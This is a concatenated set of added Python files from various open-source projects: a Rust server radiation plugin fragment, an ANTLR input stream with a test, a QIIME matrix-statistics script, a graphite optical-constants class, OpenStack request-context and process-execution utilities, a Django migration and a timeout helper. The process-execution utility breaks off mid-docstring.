+ def say(self, text, color='white', userid=0):
121
+
122
+ if self.prefix:
123
+
124
+ rust.BroadcastChat('%s <color=white>:</color> <color=%s>%s</color>' % (self.prefix, color, text), None, str(userid))
125
+
126
+ else:
127
+
128
+ rust.BroadcastChat('<color=%s>%s</color>' % (color, text), None, str(userid))
129
+
130
+ # --------------------------------------------------------------------------
131
+ def tell(self, player, text, color='white', userid=0, force=True):
132
+
133
+ if self.prefix and force:
134
+
135
+ rust.SendChatMessage(player, '%s <color=white>:</color> <color=%s>%s</color>' % (self.prefix, color, text), None, str(userid))
136
+
137
+ else:
138
+
139
+ rust.SendChatMessage(player, '<color=%s>%s</color>' % (color, text), None, str(userid))
140
+
141
+ # ==========================================================================
142
+ # <>> MAIN FUNTIONS
143
+ # ==========================================================================
144
+ def loop(self, force=False):
145
+
146
+ if not server.radiation or force:
147
+
148
+ server.radiation = True
149
+
150
+ self.intstamp = Time.realtimeSinceStartup
151
+
152
+ timer.Once(self.int, self.loop, self.Plugin)
153
+
154
+ self.console('Radiation is now on')
155
+
156
+ if not force:
157
+
158
+ self.say(MSG['RAD ON'].format(interval=PLUGIN['INTERVAL']), COLOR['MESSAGES'])
159
+
160
+ else:
161
+
162
+ server.radiation = False
163
+
164
+ timer.Once(self.offtime, self.loop, self.Plugin)
165
+
166
+ self.say(MSG['RAD OFF'].format(offtime=PLUGIN['OFF TIME']), COLOR['MESSAGES'])
167
+
168
+ self.console('Radiation is now off')
169
+
170
+ # --------------------------------------------------------------------------
171
+ def rad_CMD(self, player, cmd, args):
172
+
173
+ if server.radiation:
174
+
175
+ secs = int((PLUGIN['INTERVAL'] * 60) - (Time.realtimeSinceStartup - self.intstamp))
176
+
177
+ self.tell(player, MSG['STATE ON'].format(remaining='%d.%d' % divmod(secs, 60)), COLOR['MESSAGES'])
178
+
179
+ else:
180
+
181
+ self.tell(player, MSG['STATE OFF'], COLOR['MESSAGES'])
182
+
183
+ # --------------------------------------------------------------------------
184
+ def plugin_CMD(self, player, cmd, args):
185
+
186
+ self.tell(player, LINE, force=False)
187
+ self.tell(player, '<color=lime>%s v%s</color> by <color=lime>SkinN</color>' % (self.title, self.Version), force=False)
188
+ self.tell(player, self.Description, 'lime', force=False)
189
+ self.tell(player, '| RESOURSE ID: <color=lime>%s</color> | CONFIG: v<color=lime>%s</color> |' % (self.ResourceId, self.Config['CONFIG_VERSION']), force=False)
190
+ self.tell(player, LINE, force=False)
191
+ self.tell(player, '<< Click the icon to contact me.', userid='76561197999302614', force=False)
192
+
193
+ # --------------------------------------------------------------------------
194
+ def SendHelpText(self, player, cmd=None, args=None):
195
+
196
+ self.tell(player, self.Config['MESSAGES']['RAD COMMAND DESC'])
197
+
198
+ # ==============================================================================0,
pool/shard008/Python/0078812_InputStream.py ADDED
@@ -0,0 +1,107 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #
2
+ # Copyright (c) 2012-2016 The ANTLR Project. All rights reserved.
3
+ # Use of this file is governed by the BSD 3-clause license that
4
+ # can be found in the LICENSE.txt file in the project root.
5
+ #
6
+ import unittest
7
+
8
+
9
+ #
10
+ # Vacuum all input from a string and then treat it like a buffer.
11
+ #
12
+ from antlr4.Token import Token
13
+
14
+
15
+ class InputStream (object):
16
+
17
+ def __init__(self, data):
18
+ self.name = "<empty>"
19
+ self.strdata = unicode(data)
20
+ self._loadString()
21
+
22
+ def _loadString(self):
23
+ self._index = 0
24
+ self.data = [ord(c) for c in self.strdata]
25
+ self._size = len(self.data)
26
+
27
+ @property
28
+ def index(self):
29
+ return self._index
30
+
31
+ @property
32
+ def size(self):
33
+ return self._size
34
+
35
+ # Reset the stream so that it's in the same state it was
36
+ # when the object was created *except* the data array is not
37
+ # touched.
38
+ #
39
+ def reset(self):
40
+ self._index = 0
41
+
42
+ def consume(self):
43
+ if self._index >= self._size:
44
+ assert self.LA(1) == Token.EOF
45
+ raise Exception("cannot consume EOF")
46
+ self._index += 1
47
+
48
+ def LA(self, offset):
49
+ if offset==0:
50
+ return 0 # undefined
51
+ if offset<0:
52
+ offset += 1 # e.g., translate LA(-1) to use offset=0
53
+ pos = self._index + offset - 1
54
+ if pos < 0 or pos >= self._size: # invalid
55
+ return Token.EOF
56
+ return self.data[pos]
57
+
58
+ def LT(self, offset):
59
+ return self.LA(offset)
60
+
61
+ # mark/release do nothing; we have entire buffer
62
+ def mark(self):
63
+ return -1
64
+
65
+ def release(self, marker):
66
+ pass
67
+
68
+ # consume() ahead until p==_index; can't just set p=_index as we must
69
+ # update line and column. If we seek backwards, just set p
70
+ #
71
+ def seek(self, _index):
72
+ if _index<=self._index:
73
+ self._index = _index # just jump; don't update stream state (line, ...)
74
+ return
75
+ # seek forward
76
+ self._index = min(_index, self._size)
77
+
78
+ def getText(self, start, stop):
79
+ if stop >= self._size:
80
+ stop = self._size-1
81
+ if start >= self._size:
82
+ return ""
83
+ else:
84
+ return self.strdata[start:stop+1]
85
+
86
+ def __str__(self):
87
+ return unicode(self)
88
+
89
+ def __unicode__(self):
90
+ return self.strdata
91
+
92
+
93
+ class TestInputStream(unittest.TestCase):
94
+
95
+ def testStream(self):
96
+ stream = InputStream("abcde")
97
+ self.assertEqual(0, stream.index)
98
+ self.assertEqual(5, stream.size)
99
+ self.assertEqual(ord("a"), stream.LA(1))
100
+ stream.consume()
101
+ self.assertEqual(1, stream.index)
102
+ stream.seek(5)
103
+ self.assertEqual(Token.EOF, stream.LA(1))
104
+ self.assertEqual("bcd", stream.getText(1, 3))
105
+ stream.reset()
106
+ self.assertEqual(0, stream.index)
107
+
pool/shard008/Python/0078815_dissimilarity_mtx_stats.py ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # File created on 09 Feb 2010
3
+ from __future__ import division
4
+
5
+ __author__ = "Justin Kuczynski"
6
+ __copyright__ = "Copyright 2011, The QIIME Project"
7
+ __credits__ = ["Justin Kuczynski", "Jai Ram Rideout"]
8
+ __license__ = "GPL"
9
+ __version__ = "1.9.1-dev"
10
+ __maintainer__ = "Justin Kuczynski"
11
+ __email__ = "justinak@gmail.com"
12
+
13
+
14
+ from qiime.util import parse_command_line_parameters, matrix_stats
15
+ from qiime.util import make_option
16
+ import os
17
+ from qiime.parse import parse_distmat
18
+ from qiime.format import format_distance_matrix
19
+
20
+
21
+ script_info = {}
22
+ script_info[
23
+ 'brief_description'] = """Calculate mean, median and standard deviation from a set of distance matrices"""
24
+ script_info['script_description'] = """
25
+ This script reads in all (dis)similarity matrices from an input directory
26
+ (input_dir), then calculates and writes the mean, median, standdard deviation
27
+ (stdev) to an output folder.
28
+
29
+ The input_dir must contain only (dis)similarity matrices, and only those you
30
+ wish to perform statistical analyses on.
31
+ """
32
+ script_info['script_usage'] = []
33
+ script_info['script_usage'].append(("Example",
34
+ "This examples takes the \"dists/\" directory as input and returns the "
35
+ "results in the \"dist_stats/\" directory.",
36
+ "%prog -i dists/ -o dist_stats/"))
37
+ script_info['output_description'] = """
38
+ The outputs are in distance matrix format, where each value is the mean,
39
+ median, or stdev of that element in all the input distance matrices.
40
+ """
41
+ script_info['required_options'] = [
42
+ make_option('-i', '--input_dir', type='existing_dirpath',
43
+ help='Path to input directory'),
44
+ make_option('-o', '--output_dir', type='new_dirpath',
45
+ help='Path to store result files')
46
+ ]
47
+ script_info['optional_options'] = []
48
+ script_info['version'] = __version__
49
+
50
+
51
+ def main():
52
+ option_parser, opts, args = parse_command_line_parameters(**script_info)
53
+
54
+ indir = opts.input_dir
55
+ outdir = opts.output_dir
56
+ if not os.path.exists(outdir):
57
+ os.makedirs(outdir)
58
+
59
+ # input
60
+ file_names = os.listdir(indir)
61
+ file_names = [fname for fname in file_names if not fname.startswith('.')]
62
+
63
+ distmats = []
64
+ headers_list = []
65
+ for fname in file_names:
66
+ f = open(os.path.join(indir, fname), 'U')
67
+ headers, data = parse_distmat(f)
68
+ f.close()
69
+ distmats.append(data)
70
+ headers_list.append(headers)
71
+
72
+ # calcs
73
+ headers, means, medians, stdevs = matrix_stats(headers_list, distmats)
74
+
75
+ # output
76
+ f = open(os.path.join(outdir, 'means.txt'), 'w')
77
+ f.write(format_distance_matrix(headers, means))
78
+ f.close()
79
+
80
+ f = open(os.path.join(outdir, 'medians.txt'), 'w')
81
+ f.write(format_distance_matrix(headers, medians))
82
+ f.close()
83
+
84
+ f = open(os.path.join(outdir, 'stdevs.txt'), 'w')
85
+ f.write(format_distance_matrix(headers, stdevs))
86
+ f.close()
87
+
88
+ if __name__ == "__main__":
89
+ main()
pool/shard008/Python/0078816_cmgraphite.py ADDED
@@ -0,0 +1,109 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import numpy as np
2
+ from scipy.interpolate import interp1d
3
+ from astropy.io import ascii
4
+ from astropy import units as u
5
+
6
+ from newdust import constants as c
7
+ from newdust.graindist.composition import _find_cmfile
8
+
9
+ __all__ = ['CmGraphite']
10
+
11
+ RHO_GRA = 2.2 # g cm^-3
12
+
13
+ class CmGraphite(object):
14
+ """
15
+ | **ATTRIBUTES**
16
+ | cmtype : 'Graphite'
17
+ | rho : grain material density (g cm^-3)
18
+ | size : 'big' or 'small'
19
+ | 'big' gives results for 0.1 um sized graphite grains at 20 K [Draine (2003)]
20
+ | 'small' gives results for 0.01 um sized grains at 20 K
21
+ | orient : 'perp' or 'para'
22
+ | 'perp' gives results for E-field perpendicular to c-axis
23
+ | 'para' gives results for E-field parallel to c-axis
24
+ | citation : A string containing citation to original work
25
+ | interps : A tuple containing scipy.interp1d objects (rp, ip)
26
+ |
27
+ | *functions*
28
+ | rp(lam, unit='kev') : Returns real part (unit='kev'|'angs')
29
+ | ip(lam, unit='kev') : Returns imaginary part (unit='kev'|'angs')
30
+ | cm(lam, unit='kev') : Complex index of refraction of dtype='complex'
31
+ | plot(lam=None, unit='kev') : Plots Re(m-1) and Im(m)
32
+ | if lam is *None*, plots the original interp objects
33
+ | otherwise, plots with user defined wavelength (lam)
34
+ """
35
+ def __init__(self, rho=RHO_GRA, size='big', orient='perp'):
36
+ self.cmtype = 'Graphite'
37
+ self.rho = rho
38
+ self.size = size
39
+ self.orient = orient
40
+ self.citation = "Using optical constants for graphite,\nDraine, B. T. 2003, ApJ, 598, 1026\nhttp://adsabs.harvard.edu/abs/2003ApJ...598.1026D"
41
+
42
+ if size == 'big':
43
+ D03file_para = _find_cmfile('callindex.out_CpaD03_0.10')
44
+ D03file_perp = _find_cmfile('callindex.out_CpeD03_0.10')
45
+ if size == 'small':
46
+ D03file_para = _find_cmfile('callindex.out_CpaD03_0.01')
47
+ D03file_perp = _find_cmfile('callindex.out_CpeD03_0.01')
48
+
49
+ D03dat_para = ascii.read(D03file_para, header_start=4, data_start=5)
50
+ D03dat_perp = ascii.read(D03file_perp, header_start=4, data_start=5)
51
+
52
+ if orient == 'perp':
53
+ wavel = D03dat_perp['wave(um)'] * u.micron
54
+ revals = 1.0 + D03dat_perp['Re(n)-1']
55
+ imvals = D03dat_perp['Im(n)']
56
+
57
+ if orient == 'para':
58
+ wavel = D03dat_para['wave(um)'] * u.micron
59
+ revals = 1.0 + D03dat_para['Re(n)-1']
60
+ imvals = D03dat_para['Im(n)']
61
+
62
+ rp = interp1d(wavel.to(u.cm).value, revals) # wavelength (cm), rp
63
+ ip = interp1d(wavel.to(u.cm).value, imvals) # wavelength (cm), ip
64
+ self.interps = (rp, ip)
65
+
66
+ def _interp_helper(self, lam_cm, interp, rp=False):
67
+ # Returns zero for wavelengths not covered by the interpolation object
68
+ # If the real part is needed, returns 1 (consistent with vacuum)
69
+ result = np.zeros(np.size(lam_cm))
70
+ if rp: result += 1
71
+
72
+ if np.size(lam_cm) == 1:
73
+ if (lam_cm >= np.min(interp.x)) & (lam_cm <= np.max(interp.x)):
74
+ result = interp(lam_cm)
75
+ else:
76
+ ii = (lam_cm >= np.min(interp.x)) & (lam_cm <= np.max(interp.x))
77
+ result[ii] = interp(lam_cm[ii])
78
+ return result
79
+
80
+ def rp(self, lam, unit='kev'):
81
+ lam_cm = c._lam_cm(lam, unit)
82
+ return self._interp_helper(lam_cm, self.interps[0], rp=True)
83
+
84
+ def ip(self, lam, unit='kev'):
85
+ lam_cm = c._lam_cm(lam, unit)
86
+ return self._interp_helper(lam_cm, self.interps[1])
87
+
88
+ def cm(self, lam, unit='kev'):
89
+ return self.rp(lam, unit=unit) + 1j * self.ip(lam, unit=unit)
90
+
91
+ def plot(self, ax, lam=None, unit='kev', rppart=True, impart=True):
92
+ if lam is None:
93
+ rp_m1 = np.abs(self.interps[0].y - 1.0)
94
+ ip = self.interps[1].y
95
+ x = self.interps[0].x / c.micron2cm # cm / (cm/um)
96
+ xlabel = "Wavelength (um)"
97
+ else:
98
+ rp_m1 = np.abs(self.rp(lam, unit)-1.0)
99
+ ip = self.ip(lam, unit)
100
+ x = lam
101
+ assert unit in c.ALLOWED_LAM_UNITS
102
+ if unit == 'kev': xlabel = "Energy (keV)"
103
+ if unit == 'angs': xlabel = "Wavelength (Angstroms)"
104
+ if rppart:
105
+ ax.plot(x, rp_m1, ls='-', label='|Re(m-1)|')
106
+ if impart:
107
+ ax.plot(x, ip, ls='--', label='Im(m)')
108
+ ax.set_xlabel(xlabel)
109
+ ax.legend()
pool/shard008/Python/0078819_context.py ADDED
@@ -0,0 +1,145 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2014
2
+ # The Cloudscaling Group, Inc.
3
+ #
4
+ # Licensed under the Apache License, Version 2.0 (the "License");
5
+ # you may not use this file except in compliance with the License.
6
+ # You may obtain a copy of the License at
7
+ # http://www.apache.org/licenses/LICENSE-2.0
8
+ #
9
+ # Unless required by applicable law or agreed to in writing, software
10
+ # distributed under the License is distributed on an "AS IS" BASIS,
11
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12
+ # See the License for the specific language governing permissions and
13
+ # limitations under the License.
14
+
15
+ """RequestContext: context for requests that persist through all of ec2."""
16
+
17
+ from oslo_config import cfg
18
+ from oslo_context import context
19
+ from oslo_log import log as logging
20
+ from oslo_utils import timeutils
21
+ import six
22
+
23
+ from ec2api import clients
24
+ from ec2api import exception
25
+
26
+
27
+ CONF = cfg.CONF
28
+ LOG = logging.getLogger(__name__)
29
+
30
+
31
+ class RequestContext(context.RequestContext):
32
+ """Security context and request information.
33
+
34
+ Represents the user taking a given action within the system.
35
+
36
+ """
37
+
38
+ def __init__(self, user_id, project_id, request_id=None,
39
+ is_admin=None, remote_address=None,
40
+ auth_token=None, user_name=None, project_name=None,
41
+ overwrite=True, service_catalog=None, api_version=None,
42
+ is_os_admin=None, **kwargs):
43
+ """Parameters
44
+
45
+ :param overwrite: Set to False to ensure that the greenthread local
46
+ copy of the index is not overwritten.
47
+
48
+
49
+ :param kwargs: Extra arguments that might be present, but we ignore
50
+ because they possibly came in from older rpc messages.
51
+ """
52
+ user = kwargs.pop('user', None)
53
+ tenant = kwargs.pop('tenant', None)
54
+ super(RequestContext, self).__init__(
55
+ auth_token=auth_token,
56
+ user=user_id or user,
57
+ tenant=project_id or tenant,
58
+ is_admin=is_admin,
59
+ request_id=request_id,
60
+ resource_uuid=kwargs.pop('resource_uuid', None),
61
+ overwrite=overwrite)
62
+ # oslo_context's RequestContext.to_dict() generates this field, we can
63
+ # safely ignore this as we don't use it.
64
+ kwargs.pop('user_identity', None)
65
+ self.session = kwargs.pop('session', None)
66
+ if kwargs:
67
+ LOG.warning('Arguments dropped when creating context: %s',
68
+ str(kwargs))
69
+
70
+ self.user_id = user_id
71
+ self.project_id = project_id
72
+ self.remote_address = remote_address
73
+ timestamp = timeutils.utcnow()
74
+ if isinstance(timestamp, six.string_types):
75
+ timestamp = timeutils.parse_strtime(timestamp)
76
+ self.timestamp = timestamp
77
+
78
+ self.service_catalog = service_catalog
79
+ if self.service_catalog is None:
80
+ # if list is empty or none
81
+ self.service_catalog = []
82
+
83
+ self.user_name = user_name
84
+ self.project_name = project_name
85
+ self.is_admin = is_admin
86
+ # TODO(ft): call policy.check_is_admin if is_admin is None
87
+ self.is_os_admin = is_os_admin
88
+ self.api_version = api_version
89
+
90
+ def to_dict(self):
91
+ values = super(RequestContext, self).to_dict()
92
+ # FIXME(dims): defensive hasattr() checks need to be
93
+ # removed once we figure out why we are seeing stack
94
+ # traces
95
+ values.update({
96
+ 'user_id': getattr(self, 'user_id', None),
97
+ 'project_id': getattr(self, 'project_id', None),
98
+ 'is_admin': getattr(self, 'is_admin', None),
99
+ 'remote_address': getattr(self, 'remote_address', None),
100
+ 'timestamp': self.timestamp.strftime(
101
+ timeutils.PERFECT_TIME_FORMAT) if hasattr(
102
+ self, 'timestamp') else None,
103
+ 'request_id': getattr(self, 'request_id', None),
104
+ 'quota_class': getattr(self, 'quota_class', None),
105
+ 'user_name': getattr(self, 'user_name', None),
106
+ 'service_catalog': getattr(self, 'service_catalog', None),
107
+ 'project_name': getattr(self, 'project_name', None),
108
+ 'is_os_admin': getattr(self, 'is_os_admin', None),
109
+ 'api_version': getattr(self, 'api_version', None),
110
+ })
111
+ return values
112
+
113
+ @classmethod
114
+ def from_dict(cls, values):
115
+ return cls(**values)
116
+
117
+
118
+ def is_user_context(context):
119
+ """Indicates if the request context is a normal user."""
120
+ if not context:
121
+ return False
122
+ if context.is_os_admin:
123
+ return False
124
+ if not context.user_id or not context.project_id:
125
+ return False
126
+ return True
127
+
128
+
129
+ def require_context(ctxt):
130
+ """Raise exception.AuthFailure()
131
+
132
+ if context is not a user or an admin context.
133
+ """
134
+ if not ctxt.is_os_admin and not is_user_context(ctxt):
135
+ raise exception.AuthFailure()
136
+
137
+
138
+ def get_os_admin_context():
139
+ """Create a context to interact with OpenStack as an administrator."""
140
+ admin_session = clients.get_os_admin_session()
141
+ return RequestContext(
142
+ None, None,
143
+ session=admin_session,
144
+ is_os_admin=True,
145
+ overwrite=False)
pool/shard008/Python/0078821_0001_initial.py ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ # Generated by Django 1.11.5 on 2017-10-04 10:34
3
+ from __future__ import unicode_literals
4
+
5
+ from django.conf import settings
6
+ from django.db import migrations, models
7
+ import django.db.models.deletion
8
+
9
+
10
+ class Migration(migrations.Migration):
11
+
12
+ initial = True
13
+
14
+ dependencies = [
15
+ migrations.swappable_dependency(settings.AUTH_USER_MODEL),
16
+ ]
17
+
18
+ operations = [
19
+ migrations.CreateModel(
20
+ name='Factor',
21
+ fields=[
22
+ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
23
+ ('method', models.CharField(max_length=10)),
24
+ ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
25
+ ],
26
+ ),
27
+ ]
pool/shard008/Python/0078823_timeout.py ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+
3
+ # Copyright 2014 Foxdog Studios
4
+ #
5
+ # Licensed under the Apache License, Version 2.0 (the "License");
6
+ # you may not use this file except in compliance with the License.
7
+ # You may obtain a copy of the License at
8
+ #
9
+ # http://www.apache.org/licenses/LICENSE-2.0
10
+ #
11
+ # Unless required by applicable law or agreed to in writing, software
12
+ # distributed under the License is distributed on an "AS IS" BASIS,
13
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14
+ # See the License for the specific language governing permissions and
15
+ # limitations under the License.
16
+
17
+ from __future__ import absolute_import
18
+ from __future__ import division
19
+ from __future__ import print_function
20
+
21
+ import time
22
+
23
+ from .timeout_error import TimeoutError
24
+
25
+ __all__ = ['Timeout']
26
+
27
+
28
+ class Timeout(object):
29
+ def __init__(self, duration):
30
+ self._duration = duration
31
+ self._start = time.time()
32
+
33
+ def get_remaining(self):
34
+ remaining = self._duration - time.time() + self._start
35
+ if remaining <= 0:
36
+ raise TimeoutError()
37
+ return remaining
38
+
pool/shard008/Python/0078829_processutils.py ADDED
@@ -0,0 +1,267 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2011 OpenStack Foundation.
2
+ # All Rights Reserved.
3
+ #
4
+ # Licensed under the Apache License, Version 2.0 (the "License"); you may
5
+ # not use this file except in compliance with the License. You may obtain
6
+ # a copy of the License at
7
+ #
8
+ # http://www.apache.org/licenses/LICENSE-2.0
9
+ #
10
+ # Unless required by applicable law or agreed to in writing, software
11
+ # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
12
+ # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
13
+ # License for the specific language governing permissions and limitations
14
+ # under the License.
15
+
16
+ """
17
+ System-level utilities and helper functions.
18
+ """
19
+
20
+ import errno
21
+ import logging as stdlib_logging
22
+ import os
23
+ import random
24
+ import shlex
25
+ import signal
26
+
27
+ from eventlet.green import subprocess
28
+ from eventlet import greenthread
29
+ import six
30
+
31
+ from murano.openstack.common.gettextutils import _
32
+ from murano.openstack.common import log as logging
33
+
34
+
35
+ LOG = logging.getLogger(__name__)
36
+
37
+
38
+ class InvalidArgumentError(Exception):
39
+ def __init__(self, message=None):
40
+ super(InvalidArgumentError, self).__init__(message)
41
+
42
+
43
+ class UnknownArgumentError(Exception):
44
+ def __init__(self, message=None):
45
+ super(UnknownArgumentError, self).__init__(message)
46
+
47
+
48
+ class ProcessExecutionError(Exception):
49
+ def __init__(self, stdout=None, stderr=None, exit_code=None, cmd=None,
50
+ description=None):
51
+ self.exit_code = exit_code
52
+ self.stderr = stderr
53
+ self.stdout = stdout
54
+ self.cmd = cmd
55
+ self.description = description
56
+
57
+ if description is None:
58
+ description = _("Unexpected error while running command.")
59
+ if exit_code is None:
60
+ exit_code = '-'
61
+ message = _('%(description)s\n'
62
+ 'Command: %(cmd)s\n'
63
+ 'Exit code: %(exit_code)s\n'
64
+ 'Stdout: %(stdout)r\n'
65
+ 'Stderr: %(stderr)r') % {'description': description,
66
+ 'cmd': cmd,
67
+ 'exit_code': exit_code,
68
+ 'stdout': stdout,
69
+ 'stderr': stderr}
70
+ super(ProcessExecutionError, self).__init__(message)
71
+
72
+
73
+ class NoRootWrapSpecified(Exception):
74
+ def __init__(self, message=None):
75
+ super(NoRootWrapSpecified, self).__init__(message)
76
+
77
+
78
+ def _subprocess_setup():
79
+ # Python installs a SIGPIPE handler by default. This is usually not what
80
+ # non-Python subprocesses expect.
81
+ signal.signal(signal.SIGPIPE, signal.SIG_DFL)
82
+
83
+
84
+ def execute(*cmd, **kwargs):
85
+ """Helper method to shell out and execute a command through subprocess.
86
+
87
+ Allows optional retry.
88
+
89
+ :param cmd: Passed to subprocess.Popen.
90
+ :type cmd: string
91
+ :param process_input: Send to opened process.
92
+ :type process_input: string
93
+ :param check_exit_code: Single bool, int, or list of allowed exit
94
+ codes. Defaults to [0]. Raise
95
+ :class:`ProcessExecutionError` unless
96
+ program exits with one of these code.
97
+ :type check_exit_code: boolean, int, or [int]
98
+ :param delay_on_retry: True | False. Defaults to True. If set to True,
99
+ wait a short amount of time before retrying.
100
+ :type delay_on_retry: boolean
101
+ :param attempts: How many times to retry cmd.
102
+ :type attempts: int
103
+ :param run_as_root: True | False. Defaults to False. If set to True,
104
+ the command is prefixed by the command specified
105
+ in the root_helper kwarg.
106
+ :type run_as_root: boolean
107
+ :param root_helper: command to prefix to commands called with
108
+ run_as_root=True
109
+ :type root_helper: string
110
+ :param shell: whether or not there should be a shell used to
111
+ execute this command. Defaults to false.
112
+ :type shell: boolean
113
+ :param loglevel: log level for execute commands.
114
+ :type loglevel: int. (Should be stdlib_logging.DEBUG or
115
+ stdlib_logging.INFO)
116
+ :returns: (stdout, stderr) from process execution
117
+ :raises: :class:`UnknownArgumentError` on
118
+ receiving unknown arguments
119
+ :raises: :class:`ProcessExecutionError`
120
+ """
121
+
122
+ process_input = kwargs.pop('process_input', None)
123
+ check_exit_code = kwargs.pop('check_exit_code', [0])
124
+ ignore_exit_code = False
125
+ delay_on_retry = kwargs.pop('delay_on_retry', True)
126
+ attempts = kwargs.pop('attempts', 1)
127
+ run_as_root = kwargs.pop('run_as_root', False)
128
+ root_helper = kwargs.pop('root_helper', '')
129
+ shell = kwargs.pop('shell', False)
130
+ loglevel = kwargs.pop('loglevel', stdlib_logging.DEBUG)
131
+
132
+ if isinstance(check_exit_code, bool):
133
+ ignore_exit_code = not check_exit_code
134
+ check_exit_code = [0]
135
+ elif isinstance(check_exit_code, int):
136
+ check_exit_code = [check_exit_code]
137
+
138
+ if kwargs:
139
+ raise UnknownArgumentError(_('Got unknown keyword args '
140
+ 'to utils.execute: %r') % kwargs)
141
+
142
+ if run_as_root and hasattr(os, 'geteuid') and os.geteuid() != 0:
143
+ if not root_helper:
144
+ raise NoRootWrapSpecified(
145
+ message=_('Command requested root, but did not '
146
+ 'specify a root helper.'))
147
+ cmd = shlex.split(root_helper) + list(cmd)
148
+
149
+ cmd = map(str, cmd)
150
+
151
+ while attempts > 0:
152
+ attempts -= 1
153
+ try:
154
+ LOG.log(loglevel, 'Running cmd (subprocess): %s',
155
+ ' '.join(cmd))
156
+ _PIPE = subprocess.PIPE # pylint: disable=E1101
157
+
158
+ if os.name == 'nt':
159
+ preexec_fn = None
160
+ close_fds = False
161
+ else:
162
+ preexec_fn = _subprocess_setup
163
+ close_fds = True
164
+
165
+ obj = subprocess.Popen(cmd,
166
+ stdin=_PIPE,
167
+ stdout=_PIPE,
168
+ stderr=_PIPE,
169
+ close_fds=close_fds,
170
+ preexec_fn=preexec_fn,
171
+ shell=shell)
172
+ result = None
173
+ for _i in six.moves.range(20):
174
+ # NOTE(russellb) 20 is an arbitrary number of retries to
175
+ # prevent any chance of looping forever here.
176
+ try:
177
+ if process_input is not None:
178
+ result = obj.communicate(process_input)
179
+ else:
180
+ result = obj.communicate()
181
+ except OSError as e:
182
+ if e.errno in (errno.EAGAIN, errno.EINTR):
183
+ continue
184
+ raise
185
+ break
186
+ obj.stdin.close() # pylint: disable=E1101
187
+ _returncode = obj.returncode # pylint: disable=E1101
188
+ LOG.log(loglevel, 'Result was %s' % _returncode)
189
+ if not ignore_exit_code and _returncode not in check_exit_code:
190
+ (stdout, stderr) = result
191
+ raise ProcessExecutionError(exit_code=_returncode,
192
+ stdout=stdout,
193
+ stderr=stderr,
194
+ cmd=' '.join(cmd))
195
+ return result
196
+ except ProcessExecutionError:
197
+ if not attempts:
198
+ raise
199
+ else:
200
+ LOG.log(loglevel, '%r failed. Retrying.', cmd)
201
+ if delay_on_retry:
202
+ greenthread.sleep(random.randint(20, 200) / 100.0)
203
+ finally:
204
+ # NOTE(termie): this appears to be necessary to let the subprocess
205
+ # call clean something up in between calls, without
206
+ # it two execute calls in a row hangs the second one
207
+ greenthread.sleep(0)
208
+
209
+
210
+ def trycmd(*args, **kwargs):
211
+ """A wrapper around execute() to more easily handle warnings and errors.
